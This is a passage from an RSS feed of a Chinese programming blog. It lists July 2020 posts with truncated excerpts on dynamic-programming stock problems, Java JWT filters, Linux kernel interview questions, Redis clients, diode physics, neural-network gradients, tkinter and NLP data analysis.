      <title>股票买卖 6题：</title>
      <link>https://bchobby.github.io/posts/1960bf88603785a66f50de562d9640ae/</link>
      <pubDate>Mon, 27 Jul 2020 02:10:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1960bf88603785a66f50de562d9640ae/</guid>
      <description>121-只允许买卖一次 n * 2 空间的dp表：&#xA;class Solution { public: int maxProfit(vector&amp;lt;int&amp;gt;&amp;amp; prices) { const int n = prices.size(); if (n == 0) return 0; // 初始化第0天的情况 vector&amp;lt;vector&amp;lt;int&amp;gt;&amp;gt; dp(n, vector&amp;lt;int&amp;gt;(2, 0)); dp[0][0] = 0; dp[0][1] = -prices[0]; for(int i = 1; i &amp;lt; n; i++) { dp[i][0] = max(dp[i-1][0], dp[i-1][1] + prices[i]); dp[i][1] = max(dp[i-1][1], -prices[i]); //-prices[i]之前不需要加dp[i-1][0]，因为只允许买一次，之前都是0 } return dp[n-1][0]; } }; 简化空间开销：&#xA;class Solution { public: int maxProfit(vector&amp;lt;int&amp;gt;&amp;amp; prices) { const int n = prices.</description>
    </item>
    <item>
      <title>java 过滤器 &#43; 拦截器 &#43; JWT 原理以及实践</title>
      <link>https://bchobby.github.io/posts/41866fdcabbabe66dd2c8a02906a1b1e/</link>
      <pubDate>Mon, 27 Jul 2020 01:17:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41866fdcabbabe66dd2c8a02906a1b1e/</guid>
      <description>一、前言 还记得上次我写过几篇在实际项目中如何使用jwt《公众号授权 + jwt》、《小程序授权+ jwt》、《微信支付》&#xA;紧接着，就有个小伙伴，问了我一个这样的问题：授权使用=jwt签发token后，登录、注册等，用户是不需要token的，此时，应该怎么排除这些请求的url呢？&#xA;得嘞，今天咱们就掰扯掰扯这件事，如何使用“过滤器”或“拦截器”实现登录、注册的过滤&#xA;二、 是不是有人也这么写过？ 在写此文时，我曾想到小编曾经的SAO操作，回看自己的代码，我滑稽的笑了。&#xA;因为小编的Controller层代码都是类似这样写的：&#xA;@RestController public class LoginController { @Resource private HttpServletRequest request; @Resource private JwtUtil&#x9;jwtUtil; @ApiOperation(value = &#34;根据订单id删除订单接口&#34;) @PostMapping(value = &#34;/deleteById&#34;) public RespResult deleteById(String id) { String header = request.getHeader(&#34;token&#34;);//获取头信息,头中key为token if (StringUtils.isEmpty(header)) { return new RespResult(400, &#34;请求头不能为空&#34;); //头为空返回权限不足 } if (!header.startsWith(&#34;Bearer &#34;)) { // 和前端约定，头的值是Bearer + 空格 + jwt签发的token return new RespResult(400, &#34;token错误&#34;);//头不符合约定，返回权限不足 } String token = header.substring(7); //提取头中的token Claims claims = jwtUtil.</description>
    </item>
    <item>
      <title>使用先电IaaS云平台创建云主机</title>
      <link>https://bchobby.github.io/posts/ccfcd0e8ccde9772e352e4dabd779861/</link>
      <pubDate>Sun, 26 Jul 2020 21:48:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ccfcd0e8ccde9772e352e4dabd779861/</guid>
      <description>使用先电IaaS云平台创建云主机 创建云主机的操作流程 使用先电IaaS云平台创建云主机* 创建外部网络* 创建内部网络* 创建路由* 关联网络* 上传 centos 7云主机镜像* 创建安全组* 创建云主机* 绑定浮动IP* 使用远程连接工具连接云主机 1、登录先电IaaS云平台。如图所示。&#xA;2、创建网络&#xA;* 创建外部网络 * 创建内部网络 * 创建路由 * 关联网络 * 上传 centos 7云主机镜像 * 创建安全组 * 创建云主机 * 绑定浮动IP * 使用远程连接工具连接云主机 至此，创建云主机完成。</description>
    </item>
    <item>
      <title>Linux内核相关面试题</title>
      <link>https://bchobby.github.io/posts/6ec1f3d3f7c85ece31386ec674831ee6/</link>
      <pubDate>Sun, 26 Jul 2020 21:04:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ec1f3d3f7c85ece31386ec674831ee6/</guid>
      <description>1.组成原理相关 冯诺依曼结构，哈佛结构 单片机为了存储器管理的方便（便于支持操作系统），一般采用指令、数据空间统一编码的冯·诺依曼结构。 DSP为了提高数据吞吐的速度，基本上都是指令、数据空间独立的哈佛结构。&#xA;因为ARM7系列采用冯·诺依曼体系结构，而ARM9~ARM11采用哈佛体系机构&#xA;ROM,RAM RAM又被称作“随机存储器”,有片内ram,也有片外ram,&#xA;片内ram用来存放中断处理handler、RTOS调度器、任务上下文切换、内存分配释放等使用频率最高的代码和中断堆栈这种读写频率极高的内存区，如果有多余的部分也可以放一些经常被引用到的全局变量。&#xA;片外RAM一般就是用来存储全局变量，bss，以及我们常用到的malloc所分配的堆空间等。&#xA;ROM一般是有两种，一种是指集成在CPU芯片内部的一块只读存储区域，一般是几K到几十K字节大小，用来存储系统刚上电时对cpu和一些核心外设（如时钟，串口，MMU、DRAM、Flash等）进行初始化的代码，它在程序运行中也是不可写的，要对它执行写操作只能使用硬件烧写器进行，也就是一般所说的下载程序，这部分的代码在芯片测试阶段可以进行编程器下载更新，量产后一般就会固化，不能做任何修改的；&#xA;ROM另一种指的就是flash。首先需要说明的是，很多做嵌入式应用开发的同学一直把flash比作PC上的硬盘，其实它们指的是Nand flash，而对于很多小型的嵌入式系统，就只有一个2M或者4M的Nor Flash，它和硬盘有一个显著的区别：flash里存放的代码是可以由CPU直接取指并执行的，而PC上硬盘里的程序都需要加载到内存里才能运行。flash并不是绝对的运行时不可写，有时候应用程序需要保存一些配置信息到flash里，类似于PC程序的配置文件，以保证掉电了之后它的内容不会丢失，下次开机时可以直接从flash读取到。&#xA;首先考虑一下，有没有什么东西必须放在ROM里？ 当然有，引导程序（系统的初始化代码）就必须放到ROM里。在CPU刚上电时，只能去一个默认的地址去取第一条指令，开始干活，这个地址都是映射到片内的ROM里，原因很简单，此时，作为外设的flash和DDR等都还没有初始化，CPU根本无法从它们那里读写数据，片内ROM里的这些代码就需要完成这些模块的初始化。另外，一个项目的处理器和主要外设确定了以后，这部分初始化代码在很长的时间里，都不需要做任何修改的。 用户空间与内核通信方式有哪些？ 1)首先想到的是系统调用，用户空间进程通过系统调用进入内核空间，访问指定的内核空间数据；&#xA;2).其次是驱动程序，用户空间进程可以使用封装后的系统调用接口访问驱动设备节点，以和运行在内和空间的驱动程序通信；&#xA;3).共享内存mmap，在代码中调用接口，实现内核空间与用户空间的地址映射，在实时性要求很高的项目中为首选，省去拷贝数据的时间等资源，但缺点是不好控制；&#xA;4).最后，copy_to_user()、copy_from_user()，是在驱动程序中调用接口，实现用户空间与内核空间的数据拷贝操作，应用于实时性要求不高的项目中。&#xA;系统调用read()/write()，内核具体做了哪些事情 用户空间read()--&amp;gt;内核空间sys_read()--&amp;gt;scull_fops.read--&amp;gt;scull_read()；&#xA;该过程分为两个部分：用户空间的处理和核心空间的处理。在用户空间中通过 0x80 中断的方式将控制权交给内核处理，内核接管后，经过6个层次的处理最后将请求交给磁盘，由磁盘完成最终的数据拷贝操作。在这个过程中，调用了一系列的内核函数&#xA;内核态与用户态的区别 系统态(也称为管态或核心态)，操作系统在系统态运行——运行操作系统程序&#xA;用户态(也称为目态)，应用程序只能在用户态运行——运行用户程序&#xA;当一个进程在执行用户自己的代码时处于用户运行态（用户态），此时特权级最低，为3级，是普通的用户进程运行的特权级，大部分用户直接面对的程序都是运行在用户态。Ring3状态不能访问Ring0的地址空间，包括代码和数据；当一个进程因为系统调用陷入内核代码中执行时处于内核运行态（内核态），此时特权级最高，为0级。执行的内核代码会使用当前进程的内核栈，每个进程都有自己的内核栈。&#xA;用户运行一个程序，该程序创建的进程开始时运行自己的代码，处于用户态。如果要执行文件操作、网络数据发送等操作必须通过write、send等系统调用，这些系统调用会调用内核的代码。进程会切换到Ring0，然后进入3G-4G中的内核地址空间去执行内核代码来完成相应的操作。内核态的进程执行完后又会切换到Ring3，回到用户态。这样，用户态的程序就不能随意操作内核地址空间，具有一定的安全保护作用。这说的保护模式是指通过内存页表操作等机制，保证进程间的地址空间不会互相冲突，一个进程的操作不会修改另一个进程地址空间中的数据。&#xA;系统的启动过程 整个系统的加载启动任务就完全由BootLoader来完成。BootLoader就是在操作系统内核运行之前运行的一段小程序。通过这段小程序，我们可以初始化硬件设备、建立内存空间的映射图，从而将系统的软硬件环境带到一个合适的状态，以便为最终调用操作系统内核准备好正确的环境。&#xA;启动顺序：bootloader-&amp;gt;linuxkernel-&amp;gt;rootfile&#xA;后者需要前者提供功能支持，前者的目的就是启动后者。&#xA;嵌入式Linux系统启动过程Linux引导的整个过程：当系统首次引导时，或系统被重置时，处理器会执行一个位于Flash/ROM中的已知位置处的代码，Bootloader就是这第一段代码。它主要用来初始化处理器及外设，然后调用Linux内核。Linux内核在完成系统的初始化之后需要挂载某个文件系统作为根文件系统（RootFilesystem），然后加载必要的内核模块，启动应用程序。（一个嵌入式Linux系统从软件角度看可以分为四个部分：引导加载程序（Bootloader），Linux内核，文件系统，应用程序。）&#xA;嵌入式Linux系统通过Bootloader引导，一上电，就要执行Bootloader来初始化系统。在完成对系统的初始化任务之后，它会将非易失性存储器（通常是Flash或DOC等）中的Linux内核拷贝到RAM中去，然后跳转到内核的第一条指令处继续执行，从而启动Linux内核。Bootloader和Linux内核有着密不可分的联系。&#xA;进程相关 IPC（进程间通信）机制中最快的，共享内存，只需要两次拷贝而已&#xA;内核抢占&#xA;内核抢占：如果进程正在执行内核函数时（即它在内核态运行时），允许发生内核切换（被替换的进程是正在执行内核函数的进程），这个内核就是抢占的。&#xA;运行在内核态的进程可以自动放弃cpu，称为计划性进程切换，抢占式内核中，进程被迫放弃CPU，称为强制性进程切换。抢占内核的主要特点是：一个内核态运行的进程，可能在执行内核函数期间被另一个进程取代。&#xA;Linux内核同步方式总结 https://blog.csdn.net/yyf_it/article/details/52416994&#xA;为什么自旋锁不能睡眠 而在拥有信号量时就可以&#xA;自旋锁禁止处理器抢占；而信号量不禁止处理器抢占。&#xA;基于这个原因，如果自旋锁在锁住以后进入睡眠，由于不能进行处理器抢占，其他系统进程将都不能获得CPU而运行，因此不能唤醒睡眠的自旋锁，因此系统将不响应任何操作（除了中断或多核的情况，下面会讨论）。而信号量在临界区睡眠后，其他进程可以用抢占的方式继续运行，从而可以实现内存拷贝等功能而使得睡眠的信号量程序由于获得了等待的资源而被唤醒，从而恢复了正常的代码运行。&#xA;内存模块相关 简述处理器在读内存的过程中，CPU核、cache、MMU如何协同工作？画出CPU核、cache、MMU、内存之间的关系示意图加以说明。 现代操作系统普遍采用虚拟内存管理（Virtual Memory Management） 机制，这需要MMU（Memory Management Unit，内存管理单元） 的支持。有些嵌入式处理器没有MMU，则不能运行依赖于虚拟内存管理的操作系统。&#xA;也就是说：操作系统可以分成两类，用MMU的、不用MMU的。用MMU的是：Windows、MacOS、Linux、Android；不用MMU的是：FreeRTOS、VxWorks、UCOS……与此相对应的：CPU也可以分成两类，带MMU的、不带MMU的。带MMU的是：Cortex-A系列、ARM9、ARM11系列；不带MMU的是：Cortex-M系列……（STM32是M系列，没有MMU，不能运行Linux，只能运行一些UCOS、FreeRTOS等等）。&#xA;CPU通过地址来访问内存中的单元，如果CPU没有MMU，或者有MMU但没有启动，那么CPU内核在取指令或者访问内存时发出的地址（此时必须是物理地址，假如是虚拟地址，那么当前的动作无效）将直接传到CPU芯片的外部地址引脚上，直接被内存芯片（物理内存）接收，这时候的地址就是物理地址；&#xA;如果CPU启用了MMU（一般是在bootloader中的eboot阶段的进入main()函数的时候启用），CPU内核发出的地址将被MMU截获，这时候从CPU到MMU的地址称为虚拟地址，而MMU将这个VA翻译成为PA发到CPU芯片的外部地址引脚上，也就是将VA映射到PA中。&#xA;MMU将VA映射到PA是以页（page）为单位的，对于32位的CPU，通常一页为4k，物理内存中的一个物理页面称页为一个页框（page frame）。虚拟地址空间划分成称为页（page）的单位,而相应的物理地址空间也被进行划分，单位是页框（frame）。页和页框的大小必须相同。&#xA;1.CPU内核(图1中的ARM)发出VA请求读数据，TLB(translation lookaside buffer)接收到该地址，那为什么是TLB先接收到该地址呢？因为TLB是MMU中的一块高速缓存(也是一种cache，是CPU内核和物理内存之间的cache)，它缓存最近查找过的VA对应的页表项，如果TLB里缓存了当前VA的页表项就不必做translation table walk了，否则就去物理内存中读出页表项保存在TLB中，TLB缓存可以减少访问物理内存的次数；&#xA;2.页表项中不仅保存着物理页面的基地址，还保存着权限和是否允许cache的标志。MMU首先检查权限位，如果没有访问权限，就引发一个异常给CPU内核。然后检查是否允许cache，如果允许cache就启动cache和CPU内核互操作；&#xA;3.如果不允许cache，那直接发出PA从物理内存中读取数据到CPU内核；&#xA;4.如果允许cache，则以VA为索引到cache中查找是否缓存了要读取的数据，如果cache中已经缓存了该数据（称为cache hit）则直接返回给CPU内核，如果cache中没有缓存该数据（称为cache miss），则发出PA从物理内存中读取数据并缓存到cache中，同时返回给CPU内核。但是cache并不是只去CPU内核所需要的数据，而是把相邻的数据都取上来缓存，这称为一个cache line。ARM920T的cache line是32个字节，例如CPU内核要读取地址0x30000134~0x3000137的4个字节数据，cache会把地址0x30000120~0x3000137(对齐到32字节地址边界)的32字节都取上来缓存</description>
    </item>
    <item>
      <title>redis几种java客户端比较：jedis、redisson、lettuce</title>
      <link>https://bchobby.github.io/posts/239cc94a03c184361f71bfc8ac218d3d/</link>
      <pubDate>Sat, 25 Jul 2020 17:46:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/239cc94a03c184361f71bfc8ac218d3d/</guid>
      <description>jedis、redisson、lettuce&#xA;https://cloud.tencent.com/developer/article/1500854 概况 Jedis是Redis的Java实现的客户端，其API提供了比较全面的Redis命令的支持；Jedis中的方法调用是比较底层的暴露的Redis的API，也即Jedis中的Java方法基本和Redis的API保持着一致，了解Redis的API，也就能熟练的使用Jedis。Redisson实现了分布式和可扩展的Java数据结构，提供很多分布式相关操作服务，例如，分布式锁，分布式集合，可通过Redis支持延迟队列。和Jedis相比，功能较为简单，不支持字符串操作，不支持排序、事务、管道、分区等Redis特性。Redisson的宗旨是促进使用者对Redis的关注分离，从而让使用者能够将精力更集中地放在处理业务逻辑上。Redisson中的方法则是进行比较高的抽象，每个方法调用可能进行了一个或多个Redis方法调用。Lettuce:高级Redis客户端，用于线程安全同步，异步和响应使用，支持集群，Sentinel，管道和编码器。目前springboot默认使用的客户端。 伸缩性： Jedis：使用阻塞的I/O，且其方法调用都是同步的，程序流需要等到sockets处理完I/O才能执行，不支持异步。Jedis客户端实例不是线程安全的，所以需要通过连接池来使用Jedis。Jedis仅支持基本的数据类型如：String、Hash、List、Set、Sorted Set。Redisson：基于Netty框架的事件驱动的通信层，其方法调用是异步的。Redisson的API是线程安全的，所以可以操作单个Redisson连接来完成各种操作。Redisson不仅提供了一系列的分布式Java常用对象，基本可以与Java的基本数据结构通用，还提供了许多分布式服务，其中包括（BitSet, Set, Multimap, SortedSet, Map, List, Queue, BlockingQueue, Deque, BlockingDeque, Semaphore, Lock, AtomicLong, CountDownLatch, Publish / Subscribe, Bloom filter, Remote service, Spring cache, Executor service, Live Object service, Scheduler service）。Lettuce：基于Netty框架的事件驱动的通信层，其方法调用是异步的。Lettuce的API是线程安全的，所以可以操作单个Lettuce连接来完成各种操作。 说说Redission特性 详见: https://github.com/redisson/redisson/wiki/%E7%9B%AE%E5%BD%95&#xA;功能说明如下: 1. 概述2. 配置方法 2.8.1. 主从模式设置2.8.2. 通过JSON、YAML和Spring XML文件配置主从模式2.7.1. 哨兵模式设置2.7.2. 通过JSON、YAML和Spring XML文件配置哨兵模式2.6.1. 单节点设置2.6.2. 通过JSON、YAML和Spring XML文件配置单节点模式2.5.1. 云托管模式设置2.5.2. 通过JSON、YAML和Spring XML文件配置云托管模式2.4.1. 集群设置2.4.2. 通过JSON、YAML和Spring XML文件配置集群模式2.2.1 通过JSON或YAML格式配置2.2.2 通过Spring XML命名空间配置2.1. 程序化配置2.2. 文件方式配置2.3. 常用设置2.4. 集群模式2.5. 云托管模式2.6. 单Redis节点模式2.7. 哨兵模式2.8. 主从模式3.</description>
    </item>
    <item>
      <title>二极管专题：二极管的反向恢复时间（动态特性）</title>
      <link>https://bchobby.github.io/posts/66e36a31aa557a68fcf218eab692c086/</link>
      <pubDate>Fri, 24 Jul 2020 20:04:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/66e36a31aa557a68fcf218eab692c086/</guid>
      <description>前言 低频下，按电池理解二极管即可，但是当高频信号加在二极管两端时，就要考虑二极管的动态特性了。&#xA;二极管的单向导电特性并不十分理想，这是因为二极管的本质是有P型半导体和N型半导体接触形成的PN结。&#xA;PN结除了除了构成单向到点的二极管外，还存在一个结电容：&#xA;结电容导致&#34;双向&#34;导电 结电容对二极管当然不是什么好事，这实际上使二极管可以流过一定量的反向电荷。&#xA;实际二极管需要一定的时间来恢复反向阻断能力。Trr称为反向恢复时间（reverse revovery）。&#xA;二极管的结电容大小 不同工艺结构可以使结电容的大小不一样。&#xA;1、点接触的PN结，可以减小结电容，但会降低二极管的通流能力。&#xA;2、面接触，通流能力强，但是结电容更大。&#xA;看下面两个例子：&#xA;1N4007 (面接触型)&#xA;1N4148(点接触型)&#xA;结电容对单向导电性的影响 1、低频时，反向导电占整个周期的比例很小，二极管仍可以看成是单向导电的。&#xA;2、高频时，如果反向导电占整个周期的比例很大，二极管称为“双向导电”器件，也就无法使用了。&#xA;二极管反向恢复过程 实际二极管的反向恢复曲线如图所示，蓝色是反向恢复电流曲线，黄色是反向恢复电压曲线。&#xA;在Tf时刻前，二极管正向导通，Uf就是通常说的0.7V，If很大。&#xA;随后电路试图给二极管加反压，但是反压不是立马能加上去的，二极管的电流If在t0 时刻降到0。&#xA;t0 - t1 这段时间，二极管电流不仅不消失，反而成为反向电流，且不断增加。这段时间称为Td (delay),表示的含义是（不服从控制）延迟时间。&#xA;t1时刻反向电流达到最大，t1 - t2 时间段反向电流最终减小到0，称之为下降时间Tf(fall)。&#xA;td 和 tf 加起来就是反向恢复时间Trr。这段时间二极管是反向导通的。&#xA;可以想象，如果加在二极管上的信号周期与反向恢复时间Trr 在数量级上可比拟的话，二极管实际效果是全通的。&#xA;所以。反向恢复时间Trr决定了二极管可适用的频率场合。&#xA;简单对二极管反向恢复电压进行分析，反向恢复电流达到峰值Irp以后急剧减小，也就说明下降时间Tf其实很小。&#xA;这样一来在线路上的寄生电感上会产生尖峰电压Urp(reveres peak ),这是十分有害的，可能会击穿二极管。&#xA;恢复系数 Tf/Td 用来描述二级管反向回复的“软度”，恢复系数越大，约不容易产生有害高压。&#xA;也就是一方面我们希望反向恢复时间Trr越短越好，另一方面我们还希望下降时间Tf所占的时间比重越大越好。&#xA;我们来看看高频二极管1N4148的反向恢复时间： 4ns&#xA;思考 二极管的反向恢复时间跟结电容大小有关系么？</description>
    </item>
    <item>
      <title>梯度消失和梯度爆炸</title>
      <link>https://bchobby.github.io/posts/7934efec74538573046c52898efa31f9/</link>
      <pubDate>Fri, 24 Jul 2020 16:49:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7934efec74538573046c52898efa31f9/</guid>
      <description>1. 前向传播和反向传播 在讲解梯度消失和梯度爆炸之前，我们需要先了解什么是前向传播和反向传播。&#xA;前向传播： 输入层数据开始从前向后，数据逐步传递至输出层。&#xA;反向传播： 损失函数从后向前，梯度逐步传递至第一层。&#xA;在讲解前向传播和反向传播计算过程之前，我们先介绍一下计算图的概念，通过计算图可以很清楚的了解后向传播的计算过程，以3层网络为例。&#xA;蓝色圆圈表示运算操作，分别为乘法，激活函数，乘法，损失函数；白色框框表示传播的数值；蓝色框框表示权重；&#xA;前向传播不同多说，不断的乘以权重在通过激活函数即可；&#xA;反向传播的计算过程本质是链式求导过程。下面为 W 1 W_1 W1​的计算过程，从后向前逐步进行计算。&#xA;2. 梯度消失和梯度爆炸产生的原因 了解了前向传播和反向传播机制之后，再去了解梯度消失、爆炸就很简单了。&#xA;以5层网络为例，激活函数为 f ( z ) f(z) f(z), f i + 1 = f ( f i ⋅ x ) f_{i+1} = f(f_i \cdot x) fi+1​=f(fi​⋅x)，通过计算图给出 W 1 W_1 W1​的梯度推导公式，我们将根据这个公式进行梯度消失、爆炸的分析。&#xA;Δ W 1 = ∂ l o s s ∂ o u t ∂ o u t ∂ f 3 ∂ f 3 ∂ 2 ∂ f 2 ∂ f 1 ∂ f 1 ∂ W 1 = ∂ l o s s ∂ o u t W 4 f ′ W 3 f ′ W 2 f ′ x Δ W 2 = ∂ l o s s ∂ o u t ∂ o u t ∂ f 3 ∂ f 3 ∂ f 2 ∂ f 2 ∂ W 2 = ∂ l o s s ∂ o u t W 4 f ′ W 3 f ′ f 1 \Delta W_1 = \frac {\partial loss} {\partial out} \frac {\partial out} {\partial f3} \frac { \partial f3} {\partial 2} \frac {\partial f2} {\partial f1} \frac {\partial f1} {\partial W_1} \\ \quad \\ = \frac {\partial loss} {\partial out} W_4f&#39;W_3f&#39;W_2f&#39;x \\ \quad \\ \Delta W_2 = \frac {\partial loss} {\partial out} \frac {\partial out} {\partial f3} \frac { \partial f3} {\partial f_2} \frac {\partial f_2} {\partial W_2} \\ \quad \\ = \frac {\partial loss} {\partial out} W_4f&#39; W_3f&#39;f_1 ΔW1​=∂out∂loss​∂f3∂out​∂2∂f3​∂f1∂f2​∂W1​∂f1​=∂out∂loss​W4​f′W3​f′W2​f′xΔW2​=∂out∂loss​∂f3∂out​∂f2​∂f3​∂W2​∂f2​​=∂out∂loss​W4​f′W3​f′f1​</description>
    </item>
    <item>
      <title>easyexcel 日期、数字格式化</title>
      <link>https://bchobby.github.io/posts/5c436efbd35dcf786c1829d73e6ed3d4/</link>
      <pubDate>Thu, 23 Jul 2020 21:55:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c436efbd35dcf786c1829d73e6ed3d4/</guid>
      <description>easyexcel 日期、数字格式化 ********************* 相关注解&#xA;@DateTimeFormat：标注在字段上&#xA;@Target({ElementType.FIELD}) @Retention(RetentionPolicy.RUNTIME) @Inherited public @interface DateTimeFormat { String value() default &#34;&#34;; boolean use1904windowing() default false; } 写入excel sheet中时，转换为指定格式（value）的字符串；&#xA;从excel sheet中读取value格式的字符串，转换为对应的日期类型&#xA;@NumberFormat：标注在字段上&#xA;@Target({ElementType.FIELD}) @Retention(RetentionPolicy.RUNTIME) @Inherited public @interface NumberFormat { String value() default &#34;&#34;; RoundingMode roundingMode() default RoundingMode.HALF_UP; } 写入excel sheet中时，转换为指定格式（value）的字符串；&#xA;从excel sheet中读取value格式的字符串，转换为对应的数字类型&#xA;********************* 示例&#xA;*************&#xA;head 类&#xA;Order&#xA;@Data public class Order { private Integer id; private Date createTime; @DateTimeFormat(&#34;yyyy-MM-dd&#34;) private Date payTime; @NumberFormat(&#34;##.00&#34;) private Double totalFee; } *************</description>
    </item>
    <item>
      <title>(pytorch) bert-base-chinese模型文件下载</title>
      <link>https://bchobby.github.io/posts/b19e60464154fc70639989aa43c7c50f/</link>
      <pubDate>Thu, 23 Jul 2020 20:50:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b19e60464154fc70639989aa43c7c50f/</guid>
      <description>用的是transformers，进入 hugging face 的这个网站：bert-base-chinese · Hugging Face&#xA;在 Files and Versions 中对应下载或另存为(有的下完要重命名一下)&#xA;所需要的就是 config.json, pytorch_model.bin, vocab.txt 这几个文件&#xA;建立了如下文件夹路径来存放这些文件&#xA;└─bert&#xA;│ vocab.txt&#xA;│ └─bert-base-chinese&#xA;config.json&#xA;pytorch_model.bin&#xA;from transformers import BertTokenizer vocab_file = &#39;bert/vocab.txt&#39; tokenizer = BertTokenizer(vocab_file) from transformers.modeling_bert import BertModel bert = BertModel.from_pretrained(&#34;bert/bert-base-chinese/&#34;) 此处用的 transformers的版本是3.2.0&#xA;往下具体再怎么使用，可以去github找一些具体任务，&#xA;如文本分类之类的项目代码，看处理步骤。&#xA;放一个我以前跟着做的法研杯的一个任务，有基线代码&#xA;学会使用pytorch的bert也是从这个基线代码学到的，不过单机多卡的分布式训练还没搞懂：&#xA;CAIL2020-Argument-Mining/model.py at master · gaoyixu/CAIL2020-Argument-Mining · GitHubhttps://github.com/gaoyixu/CAIL2020-Argument-Mining/blob/master/model.py#L28&#xA;CAIL2020-Argument-Mining/data.py at master · gaoyixu/CAIL2020-Argument-Mining · GitHubhttps://github.com/gaoyixu/CAIL2020-Argument-Mining/blob/master/data.py#L117</description>
    </item>
    <item>
      <title>tkinter-Scrollbar详解</title>
      <link>https://bchobby.github.io/posts/3f4407e3ec44a81f4df4207d58566233/</link>
      <pubDate>Thu, 23 Jul 2020 15:56:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f4407e3ec44a81f4df4207d58566233/</guid>
      <description>本文介绍另一个控件Scrollbar,在tkinter-Text详解一文中有提到过Scrollbar，但是没有做过多的说明。因此本文将详解Scrollbar及其使用场景。&#xA;文章目录 Scrollbarelementorientactivebackgroundbackgroundcursorjumprepeatdelayrepeatintervaltakefocuscommandset()什么是可滚动控件?scrollbar和可滚动控件的关系？scrollbar与可滚动控件的绑定 Scrollbar Scrollbar 一般和其他控件联合使用，当被显示的控件的内容大于可显示区域时，使用Scrollbar可显示更多的内容。一般垂直滚动条(vertical scrollbar)和Listbox, Text and Canvas联合使用;水平滚动条(horizontal scrollbar)也可作用于Entry。&#xA;首先还是介绍Scrollbar的常用属性和方法，最后再举几个结合其他控件的实例。&#xA;element scrollbar的5个elements&#xA;arrow1,arrow2 指滚动条两端的箭头&#xA;slider 指scrollbar中的滑块&#xA;trough1,trough2 指非slider区域,可以称为槽&#xA;可通过slider拖动来改变视图，也可点击 arrow1或arrow2来改变视图，也可点击 trough1或trough2来改变视图。所谓视图，简单讲就是滑块的位置发生了改变，相应的显示内容也跟着变化。&#xA;orient 滚动条方向属性，通常有两个值&#34;vertical&#34;(默认值)和&#34;horizontal&#34;。即垂直滚动条和水平滚动条。&#xA;# bar = Scrollbar(main_win, orient=VERTICAL) bar = Scrollbar(main_win, orient=HORIZONTAL) bar.pack() activebackground 当鼠标在滑块(slider)或箭头(arrowhead)上时,显示的背景颜色。windows上实测无效。&#xA;bar = Scrollbar(main_win, activebackground=&#39;red&#39;) bar.pack() background 指定背景颜色。window上实测无效&#xA;bar = Scrollbar(main_win, background=&#39;red&#39;) bar.pack() cursor 指定光标样式&#xA;bar = Scrollbar(main_win, cursor=&#39;cross&#39;) bar.pack() jump 控制用户拖动滑块时发生的动作。默认(jump=0)每拖动一次滑块,就会使command指定的回调函数被调用。如果jump=1，回调函数只在用户放开鼠标按键时被调用一次，在拖动过程中不会被触发。windows上实测无效。&#xA;repeatdelay 延迟x秒移动滑块。鼠标左键按下x秒数后,滑块在某个方向开始持续移动。通常用于滚动条中的向上和向下的箭头。windows上实测无效。&#xA;repeatinterval 一旦滑块在某方向的持续移动开始，repeatinterval决定了相邻两次移动动作的时间间隔, 一般和repeatdelay联合使用。windows上实测无效。&#xA;takefocus 可以使用tab键将焦点切换到scrollbar。如果takefocus=0，那么将关闭该功能。&#xA;command 对于scrollbar非常重要的交互属性。通常用于指定可滚动控件(scrollable widget)的xview或yview函数。&#xA;因为滚动条有两种动作: ‘moveto’和’scroll’，&#39;moveto’对应slider的拖动,&#39;scroll’对应arrow或trough的点击。我们来看看怎样指定command对应的回调函数。</description>
    </item>
    <item>
      <title>VMware虚拟机安装macOS10.14及分辨率调整教程</title>
      <link>https://bchobby.github.io/posts/3a2035e6e040224d4aba2115d1ce552b/</link>
      <pubDate>Thu, 23 Jul 2020 12:28:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a2035e6e040224d4aba2115d1ce552b/</guid>
      <description>暂定，还没时间写&#xA;教程地址 （借鉴） VMware虚拟机安装macOS 10.14教程&#xA;虚拟机解锁工具 macOS Unlocker for VMware v3.0.3&#xA;虚拟机安装macos 分辨率不正常修改不了，不能全屏如何解决&#xA;VMware15 安装 mac OS 10.14 分辨率调整为1920*1080？&#xA;VMware虚拟机已设置NAT，仍无法连接网络&#xA;VMware 三种网络连接模式的详细介绍和区别&#xA;VMware虚拟机三种联网方法及原理</description>
    </item>
    <item>
      <title>从零开始NLP-task2</title>
      <link>https://bchobby.github.io/posts/75581fa15bd2e68e8254021cf2bbc0e8/</link>
      <pubDate>Wed, 22 Jul 2020 23:12:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/75581fa15bd2e68e8254021cf2bbc0e8/</guid>
      <description>%pylab inline&#xA;是matplotlib的代码，但只有jupyter notbook,要用到&#xA;plt未定义，用import matplotlib.pyplot as plt#定义plt&#xA;import pandas as pd train_df = pd.read_csv(&#39;F:/NLP/train_set.csv&#39;, sep=&#39;\t&#39;, nrows=100) train_df.head()#显示前五行 #句子长度分析 train_df[&#39;text_len&#39;] = train_df[&#39;text&#39;].apply(lambda x: len(x.split(&#39; &#39;))) print(train_df[&#39;text_len&#39;].describe()) import matplotlib.pyplot as plt#定义plt #给句子长度绘制直方图 _ = plt.hist(train_df[&#39;text_len&#39;], bins=200) plt.xlabel(&#39;Text char count&#39;) plt.title(&#34;Histogram of char count&#34;) #新闻类别分布 train_df[&#39;label&#39;].value_counts().plot(kind=&#39;bar&#39;) plt.title(&#39;News class count&#39;) plt.xlabel(&#34;category&#34;) #字符分布统计 from collections import Counter all_lines = &#39; &#39;.join(list(train_df[&#39;text&#39;])) word_count = Counter(all_lines.split(&#34; &#34;)) word_count = sorted(word_count.items(), key=lambda d:d[1], reverse = True) print(len(word_count)) # 6869 print(word_count[0]) # (&#39;3750&#39;, 7482224) print(word_count[-1]) # (&#39;3133&#39;, 1) train_df[&#39;text_unique&#39;] = train_df[&#39;text&#39;].</description>
    </item>
    <item>
      <title>第三天：Flink的State、CheckPoint、Window窗口</title>
      <link>https://bchobby.github.io/posts/65e19b01b1d312cb4b0c61bb2619240f/</link>
      <pubDate>Wed, 22 Jul 2020 23:03:22 +0800</pubDate>
